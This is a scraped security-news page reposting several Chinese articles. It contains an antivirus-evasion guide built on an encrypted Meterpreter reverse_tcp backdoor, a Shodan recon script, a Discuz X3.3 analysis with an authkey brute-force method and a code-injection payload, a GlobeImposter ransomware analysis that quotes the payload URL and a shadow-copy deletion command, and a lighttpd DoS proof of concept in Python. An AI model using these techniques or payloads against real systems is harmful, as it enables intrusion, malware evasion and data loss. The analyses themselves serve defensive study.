Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

【技术分享】如何使用C#加密攻击载荷来绕过杀毒软件

$
0
0
【技术分享】如何使用C#加密攻击载荷来绕过杀毒软件

2017-08-22 14:15:43

阅读:352次
点赞(0)
收藏
来源: linkedin.com





【技术分享】如何使用C#加密攻击载荷来绕过杀毒软件

作者:興趣使然的小胃






【技术分享】如何使用C#加密攻击载荷来绕过杀毒软件

译者:興趣使然的小胃

预估稿费:130RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

曾经有人问过我,如何绕过所有的杀毒软件?

我的回答是:非常简单。但这是一种秘密技术,大多数渗透测试者或黑客永远都不会与他人共享。他们与我一样有各种各样的理由,但最大的原因在于,一旦技术公开,杀软公司很快就会检测并封杀这种技术。在本文中,我想跟大家分享一种C#编程及加密方法,可以绕过所有杀软。

在介绍具体细节之前,我想先提供一下本文用到的C#源代码。

http://github.com/DamonMohammadbagher/NativePayloadReversetcp

如果你对渗透测试、Kali linux以及Metasploit后门载荷比较熟悉,你也掌握一定的编程技术,那么阅读本文后,你可以在互联网上找到更多源代码完成这一任务。

首先:你需要了解反病毒软件以及基于特征的应用(如反病毒软件)。

其次:你需要了解基于Linux的系统以及用于渗透测试的Kali Linux或其他Linux操作系统。

最后:你需要了解windows编程技术,本文中为C# .Net编程技术。

在本文中,我主要介绍的是C#编程技术,受篇幅所限,我无法在一篇文章里面面面俱到。

请记住:想要绕过安全防御工具(如反病毒软件或者防火墙)的每个渗透测试团队或者红队都需要了解如何在Layer 7层(即应用层)绕过这些应用,这一点在Whitehat或者渗透测试项目、黑帽攻击中非常重要,如果你的团队或者你个人掌握多种杀软绕过技术,显然就掌握足够的先机。另外我想强调的是,这一点实现起来并不困难。


二、技术细节

这一部分我会向大家介绍如何一步一步使用C#加密载荷绕过反病毒软件。

步骤1:

我在Kali Linux里面制作了一个C类型的后门载荷,其十六进制格式如下图所示。之所以使用“reverse_tcp(反弹型tcp)”载荷,原因在于这种载荷最容易绕过禁止入站连接的防火墙。


【技术分享】如何使用C#加密攻击载荷来绕过杀毒软件

步骤2:

你应该使用“异或(XOR)”算法或其他加密算法,至少完成一次载荷加密。

比如,我写了个简单的C#应用,使用加密算法来完成加密,类似的源码还有非常多,我们不用担心代码源。


【技术分享】如何使用C#加密攻击载荷来绕过杀毒软件

如上图所示,我使用VS.NET 2015来开发C#代码,但所有版本的VS.NET都支持这一代码。

上图中,你会发现一个名为payload.txt的文本文件,这个文件就是我在步骤1中使用msfvenom工具生成的载荷。

在步骤2中,你应该使用payload.txt文件中的内容替换代码中的载荷变量{0xfc , ….}。

步骤3:

程序的输出如下图所示,加密后的载荷也会一同输出。


【技术分享】如何使用C#加密攻击载荷来绕过杀毒软件

如上图所示,我们的加密载荷开头为“217,119,88….,82,12,210”。现在我们手头上已经有一个加密载荷,你可以在backdoor.exe文件中放心使用这个载荷,因为反病毒软件无法检测这种载荷,只有你掌握了加密或解密载荷的密钥。

步骤4:

现在我们需要一段C#代码来在目标主机上执行这段加密载荷。

如下图所示,我使用这一段C#代码来执行加密后的载荷,在源码中,我们需要将Payload_Encrypted变量替换为步骤3中生成的加密后的载荷,此外,我们需要将KEY值替换为步骤2中使用的那个密钥值。

请注意:你在步骤2以及步骤4中使用的KEY值应该一致,因为加密密钥以及解密密钥是同一个密钥。


【技术分享】如何使用C#加密攻击载荷来绕过杀毒软件

在这段源码中,我会根据命令行中的参数来生成加密载荷,所以我可以在命令行中输入字符串形式的加密载荷,执行这个exe程序,如下图所示。

执行程序的命令如下:

dosC:\>backdoor.exe“217,119,88,…….,82,12,210”

此时,加密后的载荷会解密并在目标主机的内存中运行,如果上述步骤均顺利完成,那么你就可以在攻击端的Kali Linux系统中收到一个meterpreter会话,如下图所示:


【技术分享】如何使用C#加密攻击载荷来绕过杀毒软件

如下图所示,我的反病毒软件没有检测到这个使用了加密载荷的后门:


【技术分享】如何使用C#加密攻击载荷来绕过杀毒软件

事实上所有的反病毒软件都无法检测这种后门,检测结果如下图所示:


【技术分享】如何使用C#加密攻击载荷来绕过杀毒软件

其实我开发了一个取证工具,可以实时检测内存中的Meterpreter载荷。使用这种实时扫描工具,你可以在内存中发现这个后门,工具下载链接如下:

http://github.com/DamonMohammadbagher/MeterpreterPayloadDetection


三、参考资料

[1] 使用DNS传输后门绕过反病毒软件。http://www.linkedin.com/pulse/bypassing-anti-viruses-transfer-backdoor-payloads-dns-mohammadbagher [2] 反病毒软件以及基于特征的检测方法的不足(使用NativePayloadReversetcp 2.0版再次绕过反病毒软件)。http://www.linkedin.com/pulse/antivirus-signature-based-detection-methods-doesnt-mohammadbagher?trk=pulse_spock-articles [3] 如何通过扫描内存发现无法检测到的Meterpreter载荷。http://www.linkedin.com/pulse/detecting-meterpreter-undetectable-payloads-scanning-mohammadbagher?published=t


【技术分享】如何使用C#加密攻击载荷来绕过杀毒软件
【技术分享】如何使用C#加密攻击载荷来绕过杀毒软件
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.linkedin.com/pulse/bypass-all-anti-viruses-encrypted-payloads-c-damon-mohammadbagher

【技术分享】如何使用Shodan及Go语言扫描多个目标

$
0
0
【技术分享】如何使用Shodan及Go语言扫描多个目标

2017-08-22 15:14:07

阅读:774次
点赞(0)
收藏
来源: medium.com/@woj_ciech





【技术分享】如何使用Shodan及Go语言扫描多个目标

作者:興趣使然的小胃





【技术分享】如何使用Shodan及Go语言扫描多个目标

译者:興趣使然的小胃

预估稿费:150RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

我使用Go语言开发了一段小脚本程序,这个程序可以根据给定的目标列表查询Shodan数据库。然后,我从Bugcrowd网站上搜集了所有的漏洞奖励项目,将这两者结合起来进一步研究。详细细节如下文所述。


二、简介

故事的开始源自于我的一个想法,我想学习一门新的语言,并研发与安全方面有关的程序。我选择使用Go(Golang)语言以及Shodan。我一直在思考的是为什么要使用多种工具来扫描一个目标,我们完全可以使用一个工具来扫描多个目标(作为一名安全研究员,我并没有一个明确的测试目标)。

让我们从头开始一步步讲解,如果有人不知道Shodan的话,下图就是Shodan的主页:


【技术分享】如何使用Shodan及Go语言扫描多个目标

备注:本次实验中,没有任何refrigerators服务被攻击或被关闭

除了webcams、refrigerators、SCADA系统、MMQT、磁盘挂载服务之外,Shodan还可以用来枚举子域名,因此在目标侦察中能发挥很大的作用。作为“世界上最可怕的搜索引擎”,我们可以在Shodan上使用诸如“port”、“city”、“hostname”或者“org”之类的过滤器来搜索目标,我想你应该知道这意味着什么。


三、关于脚本

这是我第一次接触Go语言。我很快就熟悉了这门语言(官方入门文档非常有用),然后就开始开发程序。万事开头难,不过StackOverflow在这个过程中发挥了很大作用。程序本身并不是个完美的作品,但对我来说仍然非常有意义。

脚本首先会读取包含目标名称的文件,一行代表一个目标,然后会向Shodan数据库发起请求。

用法如下:

./shodanhosts.txt

hosts.txt的内容如下:

Sony Facebook Dropbox

输出结果的计数值有点问题,不要理会这个信息。此外,我们并不关心smb、smtp或者dns服务,因此我请求了最常用的HTTP端口。最终的查询请求如下所示:

org:’Sony’port:’80,81,443,8000,8001,8008,8080,8083,8443,8834,8888'

Sony并不是个精确的关键词,这个关键词可能对应如下信息:

SonyNetworkCommunications SonyComputerEntertainmentAmericaLLC SonyNetworkTaiwanLimited SonyCommunicationNetworkCorporation SonyPicturesEntertainment SonyMediaSoftwareandServices
【技术分享】如何使用Shodan及Go语言扫描多个目标

因此,脚本会向用户询问具体要扫描的目标。测试过程中非常重要的一点,就是不要误伤不在原定范围内或者不在漏洞奖励项目范围内的那些目标。

精确的请求示例如下所示:


【技术分享】如何使用Shodan及Go语言扫描多个目标

脚本会根据目标名称创建相应目录,HTTP响应数据会保存为与IP地址相对应的文件名。此外,我还添加了端口信息以及主机名信息(如果这类信息存在的话)。

典型输出结果如下所示:


【技术分享】如何使用Shodan及Go语言扫描多个目标

四、意义所在

我们这么做当然是想找到漏洞,许多陈旧的、被遗忘的或者没有更新的子域名经常会存在漏洞。Shodan可以从安全视图角度找到有趣的Web应用,这些应用可能会存在信息泄露漏洞或者其他或多或少的漏洞。为了证实这一点,我利用goquery(函数细节如下所示)爬取了官方漏洞奖励名单中的所有目标,然后将这些目标作为我的脚本的输入。

funcbugcrowd()[]string{ doc,err:=goquery.NewDocument("https://www.bugcrowd.com/bug-bounty-list/") iferr!=nil{//ifcantconnect log.Fatal(err) } s:=make([]string,455)//sliceofstrings doc.Find("tda").Each(func(indexint,item*goquery.Selection){//foreveryorganizationin"tda"(table) linkTag:=item.Text()//gettext s[index]=linkTag//putintomap }) returns//returnsliceoforganizations }

选取目标范围时我必须异常谨慎。如果某个目标范围内只有一个域名,那么我们不需要扫描,只要处理下一个目标就可以。

对于目标组织来说,只有允许我们测试它们的基础设置或者具备“*.domain”的那些目标才是我们的潜在测试对象。


五、漏洞搜集

完成目标公司的扫描任务后,稍加分析,我就在已扫描的网站上找到本地文件包含(LFI)漏洞,这个过程并没有花费太长时间。我已经反馈了这个漏洞,当漏洞被修复后,我会更新这篇文章,添加更多细节。

根据一个链接拓展另一个链接是非常重要的信息来源,根据这种方法,我发现了路径泄露、内部地址以及主机名等其他许多信息。此外,某些网站看起来已经有10年的历史,因此我们可以好好分析这些站点,尝试已知的攻击技巧。

此外,程序输出中还包含许多403、404或者401错误,我们可以在bash中使用如下命令删除这些错误信息:

find-execgrep-l‘404’{}\;|xargsrm

六、总结

这个脚本可以用来查找漏洞奖励目标是否存在漏洞。我还记得某人找到过Apache中的Open Redirect(开放重定向)漏洞,利用这个漏洞扫描了漏洞奖励名单中的所有目标,然后报告了所有的问题。我所开发的工具的思想是“数量重于质量”(当然仅适用于本文讨论的情况),读者可以以此为据点,需要深入分析获取到的结果,以找到有价值的信息。我还没有分析所有的输出文件,但直觉上认为本地文件包含漏洞并不是唯一存在的一个漏洞。

大家可以访问此链接下载完整的脚本。



【技术分享】如何使用Shodan及Go语言扫描多个目标
【技术分享】如何使用Shodan及Go语言扫描多个目标
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://medium.com/@woj_ciech/scan-multiple-organizations-with-shodan-and-golang-bug-bounty-example-d994ba6a9587

【漏洞分析】Discuz X3.3补丁安全分析

$
0
0
【漏洞分析】Discuz X3.3补丁安全分析

2017-08-22 19:37:58

阅读:1145次
点赞(0)
收藏
来源: 安全客





【漏洞分析】Discuz X3.3补丁安全分析

作者:360CERT





【漏洞分析】Discuz X3.3补丁安全分析

作者:360网络安全响应中心 & 360信息安全部0KEE Team


0x00 背景介绍

Discuz官方于2017年8月1号发布最新版X3.4版本,在最新版本中修复了多个安全问题。360CERT和360 0KEE Team遂对该事件进行跟进。


0x01 漏洞概述

360CERT和360 0KEE Team通过对比Discuz_X3.3_SC_UTF8与Discuz_X3.4_SC_UTF8版本,发现X3.3_SC_UTF8版本存在数个漏洞。本报告主要涉及两个漏洞:

1. authkey生成算法的安全性问题:

用户在初次安装软件时,系统会自动生成一个authkey写入全局配置文件和数据库,之后安装文件会被删除。该authkey用于对普通用户的cookie进行加密等密码学操作,但是由于生成算法过于简单,可以利用公开信息进行本地爆破。

2.后台任意代码执行问题:

管理员在后台对数据库连接密码进行修改时,由于没有对输入进行检查,导致任意代码执行。


0x02 漏洞攻击面影响

1.影响面

Discuz基本上是基于Cookie而非Session,所以一旦authkey被获取,将导致Cookie的加密失效,进而可以解密Cookie的auth字段获取用户的密码。系统中其他逻辑也大量使用了authkey和authcode算法,该漏洞可导致一系列安全问题:伪造ulastactivity可控制session持久时间;邮箱校验的hash参数被破解,导致任意邮箱注册等。

另外一旦拥有一个管理员账号,则可利用后台任意代码执行漏洞,在后台Getshell进而控制服务器。

经过360CERT与360 0KEE Team研判后确认,漏洞风险等级高,影响范围广。

2.影响版本

通过代码分析,确定涉及如下版本:

Discuz_X3.3_SC_GBK

Discuz_X3.3_SC_UTF8

Discuz_X3.3_TC_BIG5

Discuz_X3.3_TC_UTF8

Discuz_X3.2_SC_GBK

Discuz_X3.2_SC_UTF8

Discuz_X3.2_TC_BIG5

Discuz_X3.2_TC_UTF8

Discuz_X2.5_SC_GBK

Discuz_X2.5_SC_UTF8

Discuz_X2.5_TC_BIG5

Discuz_X2.5_TC_UTF8

3.修复版本

Discuz_X3.4_SC_GBK

Discuz_X3.4_SC_UTF8

Discuz_X3.4_TC_BIG5

Discuz_X3.4_TC_UTF8


0x03 漏洞详情

1.authkey生成算法的安全性漏洞

Discuz_X3.3_SC_UTF8\upload\install\index.php


【漏洞分析】Discuz X3.3补丁安全分析

authkey的生成方法如下:

$authkey=substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp,0,6)),8,6).random(10);

可以看出authkey主要由两部分组成:

MD5的一部分(前6位) + random生成的10位

跟入random函数


【漏洞分析】Discuz X3.3补丁安全分析

由于字符生成集合是固定的,且没有重复字符,那么函数中每一次生成hash都唯一对应了chars数组中的一个位置,而且是使用同一个seed生成的。

在之后的代码中使用了同样的random函数:

$_config['cookie']['cookiepre']=random(4).'_';

Cookie的前四个字节是已知的,并且使用了同样的random函数,那么思路很明显:

通过已知的4位,算出random使用的种子,进而得到authkey后10位。那剩下的就需要搞定前6位,根据其生成算法,只好选择爆破的方式,由于数量太大,就一定要选择一个本地爆破的方式(即使用到authkey而且加密后的结果是已知的)。

在调用authcode函数很多的地方都可以进行校验,在这里使用找回密码链接中的id和sign参数:

sign生成的方法如下:

functiondsign($str,$length=16){ returnsubstr(md5($str.getglobal('config/security/authkey')),0,($length?max(8,$length):16)); }

爆破authkey 的流程:

1.通过cookie前缀爆破随机数的seed。使用php_mt_seed工具。

2.用seed生成random(10),得到所有可能的authkey后缀。

3.给自己的账号发送一封找回密码邮件,取出找回密码链接。

4.用生成的后缀爆破前6位,范围是0x000000-0xffffff,和找回密码url拼接后做MD5求出sign。

5.将求出的sign和找回密码链接中的sign对比,相等即停止,获取当前的authkey。

2.后台任意代码执行漏洞

对比X3.4与X3.3版本发现漏洞存在于:

upload\source\admincp\admincp_setting.php


【漏洞分析】Discuz X3.3补丁安全分析

在2535行左右,在后台对UCenter的密码进行更新的时候,没有对输入的密码进行检查,直接写入到配置文件,导致我们可以闭合前面的单引号从而达到getshell的目的,这里仅做了一个连接测试,如果连接成功则写入配置文件。


【漏洞分析】Discuz X3.3补丁安全分析

【漏洞分析】Discuz X3.3补丁安全分析

0x04漏洞利用验证

1.authkey生成算法的安全性漏洞

使用一个普通用户登录:


【漏洞分析】Discuz X3.3补丁安全分析

获取cookie前4位:uie7


【漏洞分析】Discuz X3.3补丁安全分析

使用上述脚本整理成php_mt_seed的参数格式:


【漏洞分析】Discuz X3.3补丁安全分析

接着再用php_mt_seed生成seed:


【漏洞分析】Discuz X3.3补丁安全分析

这里php_mt_seed的参数是:

0610610610610610610610610610610610610610610610610610610610610610610610610610610610610615656061444406140400613333061

在这里需要注意:

php_mt_seed多参数时是4个数为一组,含义如下图:


【漏洞分析】Discuz X3.3补丁安全分析

我们拿到的是第11-14次的随机数,要去估算第1-10次的,所以前面要空10组位置。

得到所有的种子后(约250-300),使用如下脚本处理得到所有可能的random(10):


【漏洞分析】Discuz X3.3补丁安全分析

然后重置密码,得到找回链接:


【漏洞分析】Discuz X3.3补丁安全分析

整理后执行爆破脚本:


【漏洞分析】Discuz X3.3补丁安全分析

最后破解出来为: 7e2000vULc0oQETA

对比数据库中数据,可以看出是一致的。


【漏洞分析】Discuz X3.3补丁安全分析

2.后台任意代码执行漏洞

在管理员输入UCenter的密码时,对于用户的输入没有过滤,导致了输入的数据直接写入文件中,利用步骤如下:

1.以管理员身份登录后台

2.设置一个可以远程访问的mysql,密码为:123');phpinfo();//

3.修改UCenter 数据库密码为上述密码

4.更新后即Getshell


【漏洞分析】Discuz X3.3补丁安全分析

【漏洞分析】Discuz X3.3补丁安全分析

【漏洞分析】Discuz X3.3补丁安全分析

配置文件中的内容也被修改:


【漏洞分析】Discuz X3.3补丁安全分析

0x05 修复建议

Discuz官方已经在2017年8月1日发布最新版,请用户检查自己使用的版本,并及时更新至最新版。


0x06 时间线

2017-08-01 Discuz官方安全更新

2017-08-07 360CERT和0KEE Team完成对新版本的首次分析

2017-08-22 360CERT和0KEE Team完成对后续分析并形成报告


0x07 参考文档

https://git.oschina.net/ComsenzDiscuz/DiscuzX/commit/8446bd9e897bb19672389cc4aed42716ccd0f537

https://git.oschina.net/ComsenzDiscuz/DiscuzX/commit/bb600b8dd67a118f15255d24e6e89bd94a9bca8a

http://www.openwall.com/php_mt_seed/




【漏洞分析】Discuz X3.3补丁安全分析
【漏洞分析】Discuz X3.3补丁安全分析
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4302.html

【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析

$
0
0
【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析

2017-08-23 10:19:32

阅读:345次
点赞(0)
收藏
来源: fortinet.com





【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析

作者:an0nym0u5





【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析

译者:an0nym0u5

预估稿费:160RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


引子

在过去的几天里,FortiGuard实验室捕捉到一些JS脚本,基于我的分析,这些脚本被用来传播新勒索病毒变种GlobeImposter(江湖骗子),我选择了其中一个文件并进行了快速分析,我分析的病毒变种版本为726。图1展示了我们捕捉到的JS文件的一部分,可以看到以“IMG_”开头的文件都是GlobeImposter病毒的下载程序。


【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析

图1 捕捉到的JS文件列表


下载并执行JS

当JS文件“IMG_8798.js”被执行时它会从站点“http://wendybull.com.au/87wefhi??JWbXSIl=JWbXSIl”同步下载GlobeImposter病毒并执行,下载的文件名为87wefhi.txt.exe,接下来分析一下该病毒文件在受害者主机的运作机制。当GlobeImposter运行时会动态往一个堆空间注入代码,然后创建标记为“CREATE_SUSPENDED”的子进程,创建这个挂起子进程后它的代码会被之前注入堆空间的代码替换掉,当子进程处于继续执行状态时注入到堆空间的代码会被执行,这是GlobeImposter功能模块的主要行为,图2展示了GlobeImposter病毒执行时的进程树。


【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析

图2 进程树

初始进程通过调用“继续执行线程”来执行它的子进程然后退出,以下所有的分析都是关于该子进程的。


GlobeImposter病毒子进程

首先,该子进程调用API函数SetThreadExecutionState并传值0x80000041H给它,有了参数值0x80000041H,勒索病毒在加密文件时windows系统就不会睡眠,当勒索病毒子进程完成加密后会再次调用SetThreadExecutionState函数并传值0x80000000。为了加大被破解的难度,该病毒代码的大部分字符串参数还有API部分都做了加密,当运行时再动态解密。再就是解密被排除在外的文件夹和文件扩展名,这个版本中该病毒设置了两个不被加密的列表,当病毒遍历受害者主机上的所有文件夹及文件时会跳过这两个列表中的文件夹和文件扩展名在该列表中的文件。以下是不会被加密的列表:

不会被加密的文件夹列表(共44个):

Windows, Microsoft, Microsoft Help, Windows App Certification Kit, Windows Defender, ESET, COMODO, Windows NT, Windows Kits, Windows Mail, Windows Media Player, Windows Multimedia Platform, Windows Phone Kits, Windows Phone Silverlight Kits, Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, WindowsPowerShell, Temp, NVIDIA Corporation, Microsoft.NET, Internet Explorer, Kaspersky Lab, McAfee, Avira, spytech software, sysconfig, Avast, Dr.Web, Symantec, Symantec_Client_Security, system volume information, AVG, Microsoft Shared, Common Files, Outlook Express, Movie Maker, Chrome, Mozilla Firefox, Opera, YandexBrowser, ntldr, Wsus, ProgramData.

不会被加密的文件扩展名(共170个):

.$er .4db .4dd .4d .4mp .abs .abx .accdb .accdc .accde .accdr .accdt .accdw .accft .adn .adp .aft .ahd .alf .ask .awdb .azz .bdb .bib .bnd .bok .btr .cdb .cdb .cdb .ckp .clkw .cma .crd .daconnections .dacpac .dad .dadiagrams .daf .daschema .db .db-shm .db-wa .db2 .db3 .dbc .dbf .dbf .dbk .dbs .dbt .dbv .dbx .dcb .dct .dcx .dd .df1 .dmo .dnc .dp1 .dqy .dsk .dsn .dta .dtsx .dx .eco .ecx .edb .emd .eq .fcd .fdb .fic .fid .fi .fm5 .fmp .fmp12 .fmps .fo .fp3 .fp4 .fp5 .fp7 .fpt .fzb .fzv .gdb .gwi .hdb .his .ib .idc .ihx .itdb .itw .jtx .kdb .lgc .maq .mdb .mdbhtm .mdf .mdn .mdt .mrg .mud .mwb .myd .ndf .ns2 .ns3 .ns4 .nsf .nv2 .nyf .oce .odb .oqy .ora .orx .owc .owg .oyx .p96 .p97 .pan .pdb .pdm .phm .pnz .pth .pwa .qpx .qry .qvd .rctd .rdb .rpd .rsd .sbf .sdb .sdf .spq .sqb .sq .sqlite .sqlite3 .sqlitedb .str .tcx .tdt .te .teacher .tmd .trm .udb .usr .v12 .vdb .vpd .wdb .wmdb .xdb .xld .xlgc .zdb .zdc


重定位和启动组

再往后,病毒进程会自复制到“%AllUserProfile%\Public\”路径下,并在受害者的Windows主机注册表中添加新文件到启动组中,这可以实现病毒在系统启动时自动执行。图3表示GlobeImposter病毒已经添加进了Windows注册表的启动组中(….RunOnce\CerificatesCheck)。


【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析

图3 Windows注册表中的启动组


准备工作

为了防止受害者从磁盘区阴影复制服务中恢复被加密的文件,GlobeImposter病毒在一个可执行批处理文件中调用了

vssadmin.exeDeleteShadows/All/Quiet

以删除所有的阴影磁盘卷,在该批处理文件中又清理了保存在系统注册表中和%UserProfile%\Documents\Default.rdp文件中的远程桌面信息,在文件加密工作完成后批处理文件又会被调用一次,图4展示了批处理文件的内容:


【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析

图4 批处理文件

下一步,该病毒会初始化加密相关的密钥、数据等,用2048位的RSA算法加密文件,密钥相关的部分数据保存在新创建的文件“%AllUserProfile%\Public\{hex numbers} “中,{hex numbers}名来源于受害者主机的硬件信息。


加密文件之前做了什么

GlobeImposter病毒在加密文件之前会杀掉一些运行中的进程并产生一个html文件,这是开始加密文件之前的最后两步。该病毒通过调用taskkill.exe来杀掉运行中的名字包含”sql“、”outlook“、”ssms“、”postgre“、”1c“、”excel“、”word“等的进程,杀掉的这些进程可能会释放它们在使用的一些文件,这将导致GlobeImposter病毒会加密更多的文件。图5展示了以上过程的伪代码:


【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析

图5 杀掉匹配的进程

随后在文件被加密的文件夹下会产生一个HTML文件,该文件随后会被清除,这个HTML文件告知受害者系统文件已被加密并提供了如何支付以获取解密文件的方法,这个HTML文件包含一个私有ID和该可执行程序的解密信息。当你访问支付页面时这个私有ID会发往服务器,攻击者通过这个ID来识别你并生成解密密钥,图6是这个HTML文件内容的截图:


【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析

图6 RECOVER-FILES-726.html 内容


加密文件进程

当GlobeImposter病毒开始加密文件时,它会扫描受害者主机所有分区的文件并进行加密,当然之前提到的在被排除列表中的文件及文件夹不在加密范围之内,在读取文件后利用RSA算法开始加密文件内容并覆盖掉文件原来的内容,私有ID也会在被加密文件的内容里。图7展示了加密文件内容:


【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析

图7 加密的config.sys文件内容

GlobeImposter病毒会追加”..726“序号到每一个加密过的文件名来标识哪些文件进行过加密,下图8表明病毒将调用API MoveFileExW来重命名加密文件。


【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析

图8 重命名加密文件

图9展示了python安装目录文件夹下被加密的文件(包括可执行文件):


【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析

图9 python文件夹下被加密的文件


RECOVER-FILES-726.html分析

图10是RECOVER-FILES-726.html文件展示了如何进入支付页面:


【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析

图10 打开RECOVER-FILES-726.html文件


解决方法

通过以上分析我们了解了GlobeImposter病毒在受害者主机上下载并加密文件的过程,我们也发现很多JS样本正在扩散该勒索病毒,由于该病毒使用了2048位的RSA算法来加密文件因此在没有解密密钥的情况下很难解密那些被加密的文件。

1)JS文件中用于下载GlobeImposter病毒的URL已经被FortiGuard的web拦截服务列为“恶意网站“

2)JS文件被FortiGuard的反病毒服务识别为JS/GlobeImposter.A!tr

3)下载的GlobeImposter病毒被FortiGuard的反病毒服务识别为W32/GlobeImposter.A!tr


病毒样本

URL:

hxxp://wendybull.com.au/87wefhi??JWbXSIl=JWbXSIl

样本SHA256:

IMG_8798.js

3328B73EF04DEA21145186F24C300B9D727C855B2A4B3FC3FBC2EDC793275EEA

87wefhi.txt.exe

10AA60F4757637B6B934C8A4DFF16C52A6D1D24297A5FFFDF846D32F55155BE0



【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析
【病毒分析】新勒索病毒变种GlobeImposter(江湖骗子)分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.fortinet.com/2017/08/05/analysis-of-new-globeimposter-ransomware-variant

【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

$
0
0
【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

2017-08-23 11:45:22

阅读:440次
点赞(0)
收藏
来源: 安全客





【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

作者:virwolf





【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

作者:virwolf

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一.lighttpd域处理拒绝服务漏洞的环境搭建

1)安装lighttpd

因为此漏洞需要固定版本,因此我们需要手动安装。

wgethttp://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.31.tar.gz tar-zxvflighttpd-1.4.31.tar.gz cdlighttpd-1.4.31

到这步时,接下来就是执行

./configure

命令,但是在这步可能会出现以下错误:

configure:error:pcre-confignotfound,installthepcre-develpackageorbuiwith--without-pcre

我们需要执行:

yuminstallgccglib2-developenssl-develpcre-develbzip2-develgzip-develzlib-devel

来更新缺失的关联包

安装完毕后,继续执行

./configure make&&makeinstall

编译完毕后,执行步骤二。

2)拷贝lighttpd的执行文件

创建默认文件:

mkdirlighttpd-test cdlighttpd-test

拷贝:

cp/usr/local/sbin/lighttpdhome/lighttpd-test/

3) 创建配置文件

vimlighttpd.conf

编写:

server.document-root="/var/www/" server.port=8080 server.username="www" server.groupname="www" mimetype.assign=( ".html"=>"text/html", ".txt"=>"text/plain", ".jpg"=>"image/jpeg", ".png"=>"image/png" ) static-file.exclude-extensions=(".fcgi",".php",".rb","~",".inc") index-file.names=("index.html")

4)自己编写欢迎页面(index.html)

vim/var/www/index.html <html> <head><title>Hello</title></head> <body> <h1>Thisisatest</h1> </body> </html>

5)开启防火墙,启动lighttpd服务

开启防火墙:

iptables-IINPUT-ptcp--dport8080-jACCEPT

启动服务:

./lighttpd-flighttpd.conf

注意:启动服务这里必须是绝对路径,也可自己去添加下环境变量(这里的路径是home/lighttpd-test/)。

启动完后显示server started。

接下来,可以进入浏览器测试了:

http://127.0.0.1:8080

OK,加载后就会显示我们自己编写的欢迎页面。


【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

二.lighttpd拒绝服务漏洞原理及复现

1)原理:漏洞描述:CVE(CAN) ID: CVE-2012-5533

lighttpd是一款开源的轻量级Web服务器。

lighttpd 1.4.31在处理某些HTTP请求头时,"http_request_split_value()"函数(src/request.c)在处理特制的"Connection"报头域时会陷入无限循环。攻击者利用此漏洞可导致Lighttpd拒绝服务。

2)漏洞复现

漏洞脚本:https://www.exploit-db.com/exploits/22902/

此脚本为bash脚本,需要改下权限:

在脚本目录下执行命令:

chmod+xtest.sh

然后执行:

./test.sh

好的,执行成功。

附带python脚本:

#encoding:utf-8 importsocket if__name__=='__main__': sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(('192.**.**.**',8080)) sock.send(b'GET/HTTP/1.1\r\nHost:pwn.ed\r\nConnection:TE,,Keep-Alive\r\n\r\n') sock.close() print('ok')

注释:

命令:

psaux|grep"light*"

查看lighttpd服务的进程信息。

top

查看任务管理器

kill-9PID

杀死某进程


三、动、静结合跟踪漏洞呈现原因

前面我们已知造成漏洞的函数是(src/request.c)里面的"http_request_split_value()"函数,因此我们先找到这个函数位置,在这里我直接将这个函数剪切出来了:


【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
让我们来仔细看看标红的代码,开始进入函数时b肯定是有值的,所以,会进入for循环,起初state为0,所以会进入case 0,然而,咱们仔细看下,其实case 0里面的for循环是没有被执行的。因此在case 0里,直接state=1;break;跳出switch..case。继续for循环,这时state=1,所以进入case 1中,start=s,然后,这里面for函数里条件不等于‘,’时,i++,然后进入if语句,if语句中条件就是start=s,执行break,因此,又继续for循环,state=1,进入case 1中。

有人说,即使进行for循环,也是有结束的时候啊,那么我们仔细看下第一个for循环,里面i值,其实是根据漏洞利用脚本发送数据而判定的,漏洞脚本里面‘,’前面只有两个字节,所以当等于‘,’时是没有变动的,因此,造成了死循环。

那么,接下来,使用gdb调试器动态调试来验证一下,是不是如我们所说的那样。

运行漏洞利用脚本后,使用命令

gdb-p<PID>

进入gdb

调试状态:


【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

如图,直接断在了switch 函数这里,继续跟踪


【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析

如图,可看出它一直在循环。那么让我们检测下,其中的变量值


